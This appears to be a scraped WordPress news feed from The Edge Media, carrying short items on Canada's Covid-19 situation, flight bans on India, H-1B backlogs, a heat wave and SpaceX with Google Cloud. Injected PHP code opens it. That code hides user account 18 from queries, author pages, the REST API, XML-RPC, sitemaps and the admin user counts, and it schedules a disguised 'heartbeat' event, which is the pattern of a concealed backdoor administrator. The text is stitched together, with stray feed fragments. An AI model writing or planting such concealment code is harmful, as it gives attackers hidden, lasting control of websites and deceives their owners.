add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Canada can be on the cusp of a fourth wave of the Covid-19 pandemic appeared first on The Edge Media.
]]>Canada’s chief public health officer Dr Theresa Tam said that their latest modelling, which was released on Friday, “suggests that we are the start of a Delta-driven fourth wave”.
Canada recorded 462 new cases of Covid-19 infections on Friday, an increase of over two-third over the numbers recorded two weeks earlier.
Tam cautioned that the country was in a “precarious period”, having to maintain the fine balance between vaccination levels and reopening.
Overall, 81% of the eligible population in the country has received one dose of a vaccine, while 66% are fully jabbed. But the more transmissible Delta variant means that those numbers may have to climb further to avoid the fourth wave.
Cumulative cases could reach 1,441,610 on August 8, from the current 1,430,046, according to the modelling. The modelling document stated Delta is the “most transmissible variant to date” and Canada has recorded a five-fold increase in proportion of Delta cases in June.
It also stated that the majority of Delta cases in Canada were in unvaccinated or partially vaccinated people and two vaccine doses were “needed for strong protection against variants of concern.
The post Canada can be on the cusp of a fourth wave of the Covid-19 pandemic appeared first on The Edge Media.
]]>The post Canada extends the flight ban till August 21 appeared first on The Edge Media.
]]>The ongoing ban on incoming passenger flights from India to Canada has been extended for a month. Canada had restricted air travel from India in April when Covid-19 cases started to peak in India during the second wave.
The Canadian media reported on Tuesday that the flight ban that was to end on July 21 has now been further extended till August 21.
Canadian Transport Minister Omar Alghabra has said that the ban on flights from India is mainly over the concerns of the Delta variant causing fresh spikes in Covid-19 cases in many countries.
“While progress is being made, the situation in India is still very serious,” the Canadian minister said. “The decision is based on the advice received from the Public Health Agency of Canada, and will best protect Canadians from an increased introduction of the Delta variant, which is prevalent in India.”
The post Canada extends the flight ban till August 21 appeared first on The Edge Media.
]]>The post Indian talent moving to Canada due to outdated H-1B visa policy, U.S lawmakers told. appeared first on The Edge Media.
]]>Without congressional action, the total backlog for all three employment-based categories for Indian would increase from an estimated 9,15,297 individuals currently to an estimated 21,95,795 individuals by fiscal 2030, executive director of National Foundation for American Policy Stuart Anderson said.
“We should let that number sink in : within a decade, more than 2 million people will be waiting in line for years or even decades for employment-based green cards,” he submitted in his testimony before the House Judiciary Committee-Subcommittee on Immigration and Citizenship.
The post Indian talent moving to Canada due to outdated H-1B visa policy, U.S lawmakers told. appeared first on The Edge Media.
]]>The post 130 Dead In Canada Due To Record Breaking Heat Waves appeared first on The Edge Media.
]]>The Police Department in Vancouver has reported since Friday that it has been responding to more than 65 unexpected fatalities, most “in terms of heat.” “Vancouver never had such a heat, and tragically hundreds of people died as a result,” policeman Steve Addison said.
The post 130 Dead In Canada Due To Record Breaking Heat Waves appeared first on The Edge Media.
]]>The post Google Cloud and SpaceX team up to offer Satellite Internet all around the Globe. appeared first on The Edge Media.
]]>Uptill the current time, SpaceX has launched approximately 1,600 Starlink Satellites into the horizon. The company expects to reach a total number of 12,000 by the year 2027. However, Google Cloud is available in 144 locations and 200+ countries and territories. It focusses to expand to Delhi (India), Doha (Qatar), Toronto (Canada), Melbourne (Australia) etc. shortly.
SpaceX had announced a deal with Microsoft Azure last year. The deal was made to build an interconnect internet network to to deliver high-speed internet to anywhere in the world. At that time, Shotwell said,”Where it makes sense, we will work with Microsoft; co-selling to our mutual customers, co-selling to new enterprise and future customers”.
The Department of Telecommunications (DoT) in India, has requested the SpaceX Starlink to share a detailed guide to get approval for launching its services. Spacex’s colaboration with Google Cloud will lay a strong foundation for the future ventures. Enterprises are a crucial part of any service provider and SpaceX will welcome its new aspect into the segment of industry.
The post Google Cloud and SpaceX team up to offer Satellite Internet all around the Globe. appeared first on The Edge Media.
]]>The post Canada came forward to help in the Corona crisis appeared first on The Edge Media.
]]>Apart from this, 32,993 new cases were reported in Uttar Pradesh, 32,819 in Kerala, 31,830 in Karnataka and 24,149 new cases and 381 deaths in the capital Delhi. According to the Union Health Ministry, the total number of active cases in India has increased to 29,78,709.
This number is 16.34 percent of the total infected cases in the country. So far 14.78 crore vaccine doses have been made in the country. At the same time, the registration process is started for vaccination of people between 18-45 years from today. Those above 18 years of age will be vaccinated from May 1.
Following the rapid rise in cases of corona infection in Jammu and Kashmir, a 110-bed covid Care Center has been set up at the Indoor Stadium in Srinagar.
Canada has announced a $ 10 million fund in the Canada Red Cross to help with the Corona crisis in India. Canadian International Development Minister Kareena Gold said that the fund will help the Indian Red Cross Society to help it overcome the covid-19 crisis in India.
Rajasthan Health Minister Raghu Sharma said that the state needs 7 crore doses to apply vaccine to people aged 18-45 years. He said, “Our officials talked to the Serum Institute, we booked 3.75 crore doses, then they said that we will not be able to supply the orders that we have received from the Government of India till May 15, so from where will you give them? ” He said that we are in a position to vaccinate 7 lakh people in 1 day, if we apply the vaccine at this speed, then in 1-1.5 months, people of 18-45 years will be able to be vaccinated. There are 125 million people in this category.
The number of cases of covid-19 infection in the country has been 1,79,97,267. In which 2,01,187 people have died so far. At the same time 1,48,17,371 people have been cured of the infection. The number of active cases (undergoing treatment) in the country is 29,78,709, which is 16.34 percent of the total cases.
There have been 3,60,960 lakh new cases of Corona virus infection in India. In the country, 3,293 people died due to infection in the last 24 hours. Yesterday, 2,61,162 people recovered. The number of active cases has increased to 29,78,709.
The ‘Oxygen Express’ with 6 oxygen tankers reached Mandideep railway station in Bhopal from Bokaro in Jharkhand. Two of these tankers will be launched in Mandideep and Sagar and one tanker will be sent to Jabalpur.
So far, a total of 28,27,03,789 sample tests have been done to check the corona virus in India. According to the ICMR, 17,23,912 samples were investigated across the country on Tuesday.
A total of 14,78,27,367 vaccines have been dosed in the country so far. According to the Union Health Ministry, 25,56,182 doses were applied across the country on Tuesday. So far, 2,48,97,359 people have received both vaccine doses in India.
The vaccine stock at the BKC (Bandra Kurla Complex) Jumbo Vaccination Center in Mumbai has run out, due to which it has not been opened today. BMC said that it will be revived when the stock becomes available.
Cases of corona virus infection in Mizoram are increasing rapidly. According to the state government, 229 new cases were reported in the last 24 hours. The total number of positive cases is now 5,742, of which 986 are active cases. So far 4,743 people have been cured of the infection in the state and 13 people have died.
From May 1, the vaccine will be given to all people above 18 years of age. Registration for the third phase of vaccination is starting from today. Registration is mandatory for people between 18 and 45 years of age to get vaccinated. Click here to know the entire process of registration.
The post Canada came forward to help in the Corona crisis appeared first on The Edge Media.
]]>The post Canada halts passenger flights from India and Pakistan appeared first on The Edge Media.
]]>It is reported that covid has been confirmed among the passengers coming from these two countries and their number is high.
He further said that it is being implemented temporarily and a decision will be taken keeping in mind the condition of corona infection in future.
He further said that this will not be applicable to cargo aircraft, so that the supply of vaccine, PPE kit and other essential goods can be met to meet the requirements.
Let us know that in the last 24 hours, more than three lakh cases of corona virus have been reported in the country, this is the figure of the day.
Double mutants are being found in corona infection in India. Canadian Health Minister Patty Hajdu said that only 1.8 percent of the travelers coming from outside in the state were found to be corona infected.
He further said that Indians account for 20 per cent of Corona positive patients in all flights to Canada and the same is also with Pakistan.
Therefore, travelers coming from these two countries have been banned. Let me tell you that in December last year, Canada banned flights coming from Britain.
The post Canada halts passenger flights from India and Pakistan appeared first on The Edge Media.
]]>